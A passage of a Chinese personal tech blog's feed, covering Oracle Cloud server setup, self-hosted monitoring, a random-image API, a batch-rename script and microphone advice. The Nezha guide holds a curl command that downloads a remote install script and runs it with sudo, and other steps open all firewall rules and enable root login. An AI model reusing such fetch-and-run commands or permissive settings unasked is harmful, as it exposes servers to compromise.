&lt;p&gt;我直接改为全允许我更喜欢在Linux服务器上配置 ufw 来实现防火墙&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;前往 https://cloud.oracle.com/networking/vcns 进入你刚刚创建的VCN导航栏点击 &lt;strong&gt;安全&lt;/strong&gt; 找到这个&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-09-08-00-37-58-image.BF8GVdcG.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;导航栏继续找到 &lt;strong&gt;安全规则&lt;/strong&gt; 我直接全放行&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-09-08-00-38-25-image.Xgv5amRe.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;使用SSH连接实例&lt;/h1&gt;
&lt;p&gt;前往 https://cloud.oracle.com/compute/instances 可以看到 &lt;strong&gt;公共IP&lt;/strong&gt; ,携带你的 &lt;strong&gt;SSH私钥&lt;/strong&gt; 通过 &lt;strong&gt;22 端口&lt;/strong&gt; 连接服务器即可&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-09-08-00-39-59-image.C06D-CZ2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;改root登录&lt;/h1&gt;
&lt;p&gt;如果你使用root直接登录会提示&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-09-08-00-41-53-image.C7B0t-4Z.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;意为: &lt;strong&gt;请使用名为 &lt;code&gt;debian&lt;/code&gt; 的用户登录而不是 &lt;code&gt;root&lt;/code&gt; 用户&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;那我们就听他的,想把登录名改为 &lt;strong&gt;debian&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;再次尝试,成功登录了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-09-08-00-43-13-image.6A-6bjxA.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;首先提权为 &lt;strong&gt;root&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo -i
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接着编辑root用户的ssh公钥文件以允许直接使用root登录&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nano /root/.ssh/authorized_keys
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Ctrl+K&lt;/strong&gt; 删除第一行的警告并且重新写入你的SSH公钥&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Ctrl+X&lt;/strong&gt; 保存并退出,然后重启 &lt;strong&gt;sshd&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;systemctl restart sshd
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;重新使用 &lt;strong&gt;root&lt;/strong&gt; 登录,成功&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-09-08-00-46-59-image.Ba0xxygq.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;自动脚本抢arm机&lt;/h1&gt;
&lt;p&gt;如果你在创建实例的时候选择arm并且最后创建的时候提示&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;可用性域 VM.Standard.A1.Flex 中配置 AD-1 的容量不足。请在其他可用性域中创建实例,或稍后重试。如果指定了容错域,请尝试在不指定容错域的情况下创建实例。如果这样不起作用,请稍后重试。&lt;a href=&quot;https://www.oracle.com/cloud/free/faq.html&quot;&gt;了解有关主机容量的更多信息。&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;字面意思,我们可以依靠一个自动脚本来无限重试&lt;/p&gt;
&lt;p&gt;前往 https://cloud.oracle.com/identity/domains/my-profile/auth-tokens 点击 &lt;strong&gt;添加API密钥&lt;/strong&gt;&lt;strong&gt;下载私有密钥(只能下一次)&lt;/strong&gt; ,然后会弹出 &lt;strong&gt;配置文件预览&lt;/strong&gt; ,复制它,后面要用&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-09-08-01-00-00-image.C_csm1qG.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;克隆仓库 &lt;a href=&quot;https://github.com/chacuavip10/oci_auto&quot;&gt;chacuavip10/oci_auto&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;编辑 &lt;code&gt;config&lt;/code&gt; 内的内容,将内容清空,粘贴上一步的 &lt;strong&gt;配置文件预览&lt;/strong&gt; 的内容。但是确保最后一行为&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;key_file=oci_private_key.pem
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;前往 https://cloud.oracle.com/compute/instances/create 再次尝试创建一个arm机子并且F12抓包查看该包的详情&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-09-08-01-03-04-image.DB124lTZ.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;对号入座填写 &lt;code&gt;oci_auto.py&lt;/code&gt; 内的内容&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-09-08-01-08-08-image.D6T_ymbc.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;安装依赖&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;apt install python3
apt install pip
pip install oci requests
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;运行&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;python3 oci_auto.py
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;即可自动抢机子可能几个月后你的账户下就会多一台arm了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-09-08-01-11-54-image.DHAHDe5H.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>公开架构我的二次元随机图API是怎么做的</title><link>https://blog.acofork.com/posts/acg-randompic-api/</link><guid isPermaLink="true">https://blog.acofork.com/posts/acg-randompic-api/</guid><description>发现很多小伙伴也想搭建一个自己的随机图API这里我就公开一下我的架构打磨2年了供大家参考~</description><pubDate>Sat, 06 Sep 2025 02:22:00 GMT</pubDate><content:encoded>&lt;h1&gt;API端点&lt;/h1&gt;
&lt;p&gt;&lt;s&gt;门户: https://pic.072103.xyz&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;&lt;s&gt;门户里面的API端点 https://hpic.072103.xyz https://vpic.072103.xyz CF Worker&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;博客用的API端点 https://eopfapi.acofork.com/pic?img=ua EdgeOne Pages Functions&lt;/p&gt;
&lt;h1&gt;新版实现&lt;/h1&gt;
&lt;p&gt;图源存放EdgeOne PageEdgeOne Pages Functions作为入口当收到请求后首先区分 横屏、竖屏、自适应,即 &lt;code&gt;?img=h&lt;/code&gt; &lt;code&gt;?img=v&lt;/code&gt; &lt;code&gt;?img=ua&lt;/code&gt; ,随后返回其内部存储的相应图片,关于更多详情,请参考源码: &lt;a href=&quot;https://github.com/afoim/EdgeOne_Function_PicAPI/blob/main/functions/pic.js&quot;&gt;EdgeOne_Function_PicAPI/functions/pic.js at main · afoim/EdgeOne_Function_PicAPI&lt;/a&gt;&lt;/p&gt;
&lt;h1&gt;旧版实现&lt;/h1&gt;
&lt;p&gt;利用 cnb.cool 存储图片eopf做中间代理&lt;/p&gt;
&lt;h1&gt;旧旧版实现&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;在Cloudflare R2被刷了 &lt;strong&gt;7千万次GET请求&lt;/strong&gt; 并且扣款 &lt;strong&gt;28.08 USD折合人民币 207.93 CNY&lt;/strong&gt; 后废弃&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;图源全部存在 &lt;strong&gt;Cloudflare R2&lt;/strong&gt;,全部采用 &lt;strong&gt;Webp&lt;/strong&gt; 格式,仅分类为 &lt;strong&gt;横屏、竖屏&lt;/strong&gt; ,如图&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-31-04-13-08-image.CQ_Xo6cU.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-31-04-13-17-image.DJLoqL7l.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;API就拿我正投入使用的 https://eopfapi.acofork.com/pic?img=ua 来说&lt;/p&gt;
&lt;p&gt;看域名也可以看出来,这是一个 &lt;strong&gt;EdgeOne Pages Functions&lt;/strong&gt; 服务(下文简称 &lt;strong&gt;eopf&lt;/strong&gt; ),什么?你问为什么用这个?那当然是因为! &lt;strong&gt;目前所有功能完全免费!&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-31-04-18-45-image.BXXhv1XP.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;源码在 &lt;a href=&quot;https://github.com/afoim/EdgeOne_Function_PicAPI&quot;&gt;afoim/EdgeOne_Function_PicAPI: 适用于EdgeOne边缘函数的随机图API&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;原理为让 &lt;strong&gt;eopf&lt;/strong&gt; 连接上 &lt;strong&gt;Cloudflare R2&lt;/strong&gt; 然后随机拿一张图出来。没错!就这么简单!&lt;/p&gt;
&lt;p&gt;&lt;em&gt;上文提到的另一个CF Worker端点原理也一样只不过CF内部连接R2就不用手搓S3鉴权了&lt;/em&gt;&lt;/p&gt;
</content:encoded></item><item><title>记录一下批量重命名插件咋写的</title><link>https://blog.acofork.com/posts/rename/</link><guid isPermaLink="true">https://blog.acofork.com/posts/rename/</guid><description>因为重装系统了,一些小插件丢失了,要重写,然后又把之前的坑踩了一遍</description><pubDate>Sat, 06 Sep 2025 01:59:26 GMT</pubDate><content:encoded>&lt;h1&gt;正式开始&lt;/h1&gt;
&lt;p&gt;首先我让AI写一个批量重命名插件&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;编写一个重命名的脚本Python
让我通过 python xxx.py (目录)
传入一个目录,然后将内部的所有文件按照 1 2 3 4 5这样重命名保留原后缀
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后AI写出来了但是有一个交互&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;是否要对 xxx 进行批量重命名Y/N
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我就让他删掉&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;不要交互,直接运行
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后又出现了新问题,如果有一个文件,比如 &lt;code&gt;100.webp&lt;/code&gt; 已经存在然后在Python的默认排序中&lt;code&gt;100.webp&lt;/code&gt; 可能并不是第 &lt;strong&gt;100&lt;/strong&gt; 个,也就是说会有别的文件将要被重命名为 &lt;code&gt;100.webp&lt;/code&gt; 然后代码对于这样的文件会直接跳过,这就会导致重命名不完全&lt;/p&gt;
&lt;p&gt;那么我就说&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;不要跳过 强制重命名
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后新的问题出现了:如果已经有一个文件为 &lt;code&gt;100.webp&lt;/code&gt; 是无法将另一个文件也重命名为 &lt;code&gt;100.webp&lt;/code&gt; 的,会报错&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;重命名文件 &apos;716.webp&apos; 失败: [WinError 183] 当文件已存在时,无法创建该文件。: &apos;C:\\Users\\acofork\\Pictures\\r1\\ri\\h\\716.webp&apos; -&amp;gt; &apos;C:\\Users\\acofork\\Pictures\\r1\\ri\\h\\744.webp&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;那么最后,我用了一个绝妙的办法&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;将所有文件随机命名&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;重新排序&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;依次重命名&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;于是我继续说&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;先全部命名为 随机数,然后再重新命名
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这下就对了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-09-06-02-06-32-image.DX7pPRyz.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>UptimeRobot无需自托管的服务监控</title><link>https://blog.acofork.com/posts/uptimerobot/</link><guid isPermaLink="true">https://blog.acofork.com/posts/uptimerobot/</guid><description>之前曾用过BetterStack这样的云端服务监控但是免费计划的监控数量仅有10个而今天推荐的这个支持高达50个</description><pubDate>Thu, 04 Sep 2025 04:03:56 GMT</pubDate><content:encoded>&lt;h1&gt;正式开始&lt;/h1&gt;
&lt;p&gt;进入 https://dashboard.uptimerobot.com/&lt;/p&gt;
&lt;p&gt;注册一个账号,然后开始创建监控。免费计划最多&lt;strong&gt;50&lt;/strong&gt;个监控,仅支持 &lt;code&gt;HEAD&lt;/code&gt; 请求,不支持更改请求头和请求体,最低轮询冷却为 5 分钟。&lt;strong&gt;不支持 IPv6&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;然后点击 &lt;code&gt;Status pages&lt;/code&gt; 创建展示页面&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-09-04-04-10-47-image.BfRcAn7P.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;建议设置为自动添加,这样就无需手动将监控一个个添加到页面,你的账户下每创建一个新的监控都会实时同步到你的展示页上&lt;/p&gt;
&lt;p&gt;配置完毕后, 在 &lt;code&gt;Public status page, hosted on&lt;/code&gt; 后就是你的监控展示页面&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-09-04-04-13-19-image.CdpsYrhW.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-09-04-04-15-31-image.LQ4v1pm9.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>想玩k3sZeabur来帮你</title><link>https://blog.acofork.com/posts/zeabur/</link><guid isPermaLink="true">https://blog.acofork.com/posts/zeabur/</guid><description>Zeabur是一个PaaS服务它可以让你将自己的服务器托管上去然后在网页上进行管理就像传统服务器面板一样这些都是免费</description><pubDate>Wed, 03 Sep 2025 06:49:16 GMT</pubDate><content:encoded>&lt;h1&gt;这是个啥?&lt;/h1&gt;
&lt;p&gt;它可以连接你的VPS前提CPU≥1cRAM≥2G。然后在你的机子上面跑服务包括&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-09-03-06-54-43-5b8f9673e031a723ab2fb8a262d384d2.1tK5Bmc3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;正式开始&lt;/h1&gt;
&lt;p&gt;进入 &lt;a href=&quot;https://zeabur.com/servers&quot;&gt;My Servers - Zeabur&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;点击创建&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-09-03-06-55-36-image.CuYcEpas.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;点击添加自己的服务器&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-09-03-06-55-47-image.Cj1Sb1LR.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;阅读要求,继续&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-09-03-06-56-01-image.CNXmDsGw.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;填写SSH连接信息让Zeabur连接到你的服务器&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-09-03-06-56-30-image.BWyCkqYe.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;之后会开始安装k3s等工具我们将不再需要手动SSH登入服务器了直接在Zeabur的网页上配置即可&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-09-03-06-57-08-image.jkJPjef7.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接下来我们可以尝试部署服务Zeabur将服务部署到你自托管的服务器是不收费的&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-09-03-06-57-41-image.CGLrr-yo.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-09-03-06-57-52-image.DnZxOaxu.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;请自由发挥!&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-09-03-06-54-43-5b8f9673e031a723ab2fb8a262d384d2.1tK5Bmc3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>哪吒监控搭建教程</title><link>https://blog.acofork.com/posts/nezha/</link><guid isPermaLink="true">https://blog.acofork.com/posts/nezha/</guid><description>想不想在上帝视角监测你的服务器顺便再把Uptime Kuma的活也干了</description><pubDate>Wed, 03 Sep 2025 04:58:25 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;官方教程: https://nezha.wiki/&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h1&gt;安装面板端Dashboard&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;面板端即WebUI同时也接受后端连接。用户和面板连接使用WebSocket后端和面板端使用gRPC通信&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;curl -L https://raw.githubusercontent.com/nezhahq/scripts/refs/heads/main/install.sh -o nezha.sh &amp;amp;&amp;amp; chmod +x nezha.sh &amp;amp;&amp;amp; sudo ./nezha.sh
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;默认端口为 8008&lt;/p&gt;
&lt;p&gt;&lt;code&gt;请指定安装命令中预设的 nezha-agent 连接地址 (例如 example.com:443&lt;/code&gt; 填写你的 &lt;code&gt;VPS IP:8008&lt;/code&gt; 。当然你也可以套CDN如果套CDN则填写 &lt;code&gt;CDN域名:443&lt;/code&gt; 请确保你的CDN支持gRPC通信。本人不推荐后端和面板通信使用CDN&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;请输入站点标题: Nezha - AcoFork
请输入暴露端口: (默认 8008)
请指定安装命令中预设的 nezha-agent 连接地址 (例如 example.com:44346.232.60.28:8008
是否希望通过 TLS 连接 Agent影响安装命令[y/N]n
请指定后台语言
1. 中文(简体)
2. 中文(台灣)
3. English
请输入选项 [1-3]1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接下来,你应该可以在 8008 端口进入哪吒探针的WebUI&lt;/p&gt;
&lt;p&gt;点击登录,默认账密均为 &lt;code&gt;admin&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-09-03-05-07-55-image.B3heauJF.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;首先我们先更改管理员账密,鼠标移到右上角头像,点击 &lt;code&gt;个人信息&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-09-03-05-08-40-image.BoCdLyaQ.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后点击 &lt;code&gt;更新个人资料&lt;/code&gt; 更改管理员账密&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-09-03-05-09-06-image.DSvHG06Q.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;安装后端Agent&lt;/h1&gt;
&lt;p&gt;打开哪吒探针的WebUI在服务器一栏可以找到安装命令选择对应系统的然后前往终端执行即可。稍后你将会看到一个随机名称的新服务器上线&lt;/p&gt;
&lt;p&gt;&lt;em&gt;如果你的服务器在中国大陆,可能无法连接上 &lt;code&gt;raw.githubusercontent.com&lt;/code&gt; 。推荐使用镜像 &lt;code&gt;raw.gitmirror.com&lt;/code&gt; 即可&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-09-03-05-10-14-image.D-TLgV_g.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;配置服务&lt;/h1&gt;
&lt;p&gt;哪吒探针也支持类似UptimeKuma那种的服务监测支持HTTP Ping TCP具体参见导航栏的服务&lt;/p&gt;
&lt;p&gt;&lt;em&gt;这里添加的所有服务,都可以借用已添加到哪吒探针的服务器进行监测&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-09-03-05-15-22-image.BXhBJeAY.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;配置通知&lt;/h1&gt;
&lt;p&gt;哪吒探针支持配置通知,以在服务宕机等情况及时通知你,详见 &lt;a href=&quot;https://nezha.wiki/guide/notifications.html&quot;&gt;通知设置 | 哪吒服务器监控&lt;/a&gt;&lt;/p&gt;
&lt;h1&gt;疑难解答&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;我套了CDN服务器可以成功上线但是获取到的IP为内网IP请在系统设置中配置真实IP请求头&lt;img src=&quot;https://blog.acofork.com/_astro/2025-09-03-05-19-32-image.BMWxoEDi.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;我使用Cloudflare CDN服务器始终无法上线。原因不明但是可以通过部署该项目解决 &lt;a href=&quot;https://github.com/yumusb/nezha-new&quot;&gt;yumusb/nezha-new&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>给想买麦克风的朋友一些建议</title><link>https://blog.acofork.com/posts/mic/</link><guid isPermaLink="true">https://blog.acofork.com/posts/mic/</guid><description>这几年大大小小的麦都玩过了无论是几千的舒尔RODE还是几百的闪克绿联又或是仅100的带麦半入耳今天就给大家总结一下坑点</description><pubDate>Tue, 02 Sep 2025 10:34:12 GMT</pubDate><content:encoded>&lt;h1&gt;明确你的需求&lt;/h1&gt;
&lt;p&gt;你买麦克风是要做什么?和朋友语音想要更清晰?想要录歌/K歌/录视频/做播客?&lt;/p&gt;
&lt;h1&gt;如果你只是想和朋友语音&lt;/h1&gt;
&lt;p&gt;如果你正在使用一些耳机的线控麦,那不用购入新的麦克风,直接使用 &lt;a href=&quot;https://www.nvidia.cn/geforce/broadcasting/broadcast-app/&quot;&gt;NVIDIA Broadcast App - 以 AI 助力语音和视频 | NVIDIA&lt;/a&gt; 或其他降噪软件/服务即可&lt;/p&gt;
&lt;h1&gt;想要录歌/K歌/录视频/做播客&lt;/h1&gt;
&lt;p&gt;这又涉及到你的录音环境,你的录音环境是否安静?是否有空调噪音?装修噪音?各种杂七杂八的噪音?&lt;/p&gt;
&lt;p&gt;如果你的录音环境并不能做到绝对安静,那么 &lt;strong&gt;动圈麦&lt;/strong&gt; 绝对是首选&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;电容麦&lt;/strong&gt;&lt;strong&gt;动圈麦&lt;/strong&gt; 有什么区别?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;电容麦将一切收音包括你的环境噪声适合需要做后期的不适合懒人几乎每一段音源都需要后期但相对的后期空间较大也很适合做ASMR这种将微小动静放大的业务&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;动圈麦几乎只收中频段的人声收音不灵敏几乎不收录环境噪声。在不做任何后期的情况下人声就非常饱满。优点是只收人声缺点是如果离得太远收音不好建议仅间隔5~30cm进行收音&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;推荐: 山逊Q2U动圈麦克风我买的时候是279 CNY现在市场价为400 CNY左右&lt;/p&gt;
&lt;p&gt;这款麦的缺点是使用远古的 Mini USB以及裸机不配备支架需要自己搭配桌面支架和悬臂支架使用&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-09-02-10-54-48-IMG20250902105434.BHtUuB9Y.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;我有钱!我要加钱!&lt;/p&gt;
&lt;p&gt;那么推荐舒尔MV6。这款麦有配套的App支持自动电平防爆音。有时候好用有时候不好用然后就跟上面的山逊 Q2U没什么区别了售价1349 CNY&lt;/p&gt;
&lt;p&gt;开箱体验视频: &lt;a href=&quot;https://www.bilibili.com/video/BV1JoJqzBEyA&quot;&gt;简单开箱舒尔MV6麦克风_哔哩哔哩_bilibili&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-09-02-11-00-14-Screenshot_2025-09-02-10-59-56-76_4fbb30eb7b71661.Dck_lM_a.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;我现在用的麦克风?&lt;/h1&gt;
&lt;p&gt;没有什么麦是能全方位胜任所有工作的,所以我手头上有三个麦&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;山逊 Q2U曾经是我唯一的主力麦克风也用他录了不少视频但是因为需要使用悬臂支架并且收音范围太窄录个音跟舌吻一样并且我人太懒懒得用了有时候唱歌/录视频的时候用用&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;绿联 USB MIC-CM727音质一般但是价格仅不到200 CNY。电容麦收音范围广作为日常使用麦我现在几乎已经无所谓音质了&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-09-02-11-07-46-IMG20250902110659.C5EM6Oo7.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;全民K歌KPods SE这严格上来说是个常规半入耳+电容领夹麦,但是奈何产品经理太天才了,可以将麦挂在下唇下面,这样收音又清晰又可以随便动来动去,唯一的缺点还是我太懒了,感觉下唇下面挂个东西有异物感,并且如果勒的太紧一天下来耳朵会痛,所以一般也是唱歌的时候用用,价格 109 CNY国补&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-09-02-11-07-54-IMG20250902110730.C64MZjuz.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;坑点&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;不要买那种需要接声卡的麦克风除非你财大气粗并且喜欢折腾如果你购入一个卡农口的麦克风你需要再为它配几千的声卡都到这了不整个监听耳机是不是过不去一套下来小一万了然后你想用的时候还得先把超级大声卡拿出来接上电脑然后接上麦克风监听耳机最后电脑打开均衡器各种调一通才能开始录而如果你又恰好买了个电容麦且环境嘈杂那你有福报了折腾几个小时录完音在折腾几个小时后期反正我没这精力。独立麦克风买USB麦克风即可&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;我始终不推荐买一个独立的电容麦克风,这东西越高端越吃你的录音环境,一万块的铁三角电容麦买回来给环境噪音录得一清二楚你受得了吗&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;如果你需要录歌/录视频等需要监听的场景请确保买的麦克风支持硬件级监听0延迟的那种&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;不要先买一个3.5mm的麦克风然后再买一个3.5mm的耳机然后再买一个双3.5mm的神经小声卡接起来用。还不如单买个 Earpods&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;不要指望游戏耳机的麦克风音质能有多好,同时我也不推荐购入游戏耳机,一个动圈麦+Earpods也才不到500块钱有些游戏耳机开始就上千&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;不要上头!不要上头!不要上头!不要没需求创造需求!&lt;strong&gt;你买了个几千块钱的麦并不会提高你的唱功!&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;不要想着一个麦通吃所有场景。便宜的USB桌面麦克风带降噪的那种就适合打游戏时候动来动去跟队友吹牛逼的情况。而高端的动圈麦如舒尔MV6就适合去做播客/唱歌那种几小时不动一下的场景。你要硬说通吃的话Earpods确实能通吃但是吧线控耳机的麦克风收音完全取决于你把他放在什么位置你总不能一直挂嘴上吧就像 全民K歌KPods SE 一样?倒也可以,我确实是越来越懒了&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
